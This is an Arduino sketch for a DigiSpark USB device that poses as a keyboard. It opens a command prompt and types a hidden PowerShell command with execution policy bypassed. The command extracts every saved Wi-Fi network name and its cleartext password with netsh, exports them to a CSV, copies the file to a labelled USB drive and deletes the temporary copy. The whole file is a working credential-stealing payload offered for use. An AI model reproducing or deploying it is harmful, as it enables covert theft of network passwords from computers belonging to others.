DigiSpark-Scripts/WiFi_Profile_Grabber/WiFi_Profile_Grabber.ino

//This DigiSpark script writes the wireless network credentials to a csv file on a usb drive.  
//Change "VolumeName='USB_DRIVE_LABEL'" to reflect your drive's label.
//Credits to p0wc0w.
#include "DigiKeyboard.h"
void setup() {
}

void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(500);
  DigiKeyboard.print("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);
  DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv c:\\windows\\temp\\temp.csv; cp c:\\windows\\temp\\temp.csv -destination $((gwmi -Query \\\"Select * from Win32_LogicalDisk where VolumeName='USB_DRIVE_LABEL'\\\").DeviceID); ri c:\\windows\\temp\\temp.csv -force"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.print("exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  for(;;){ /*empty*/ }
}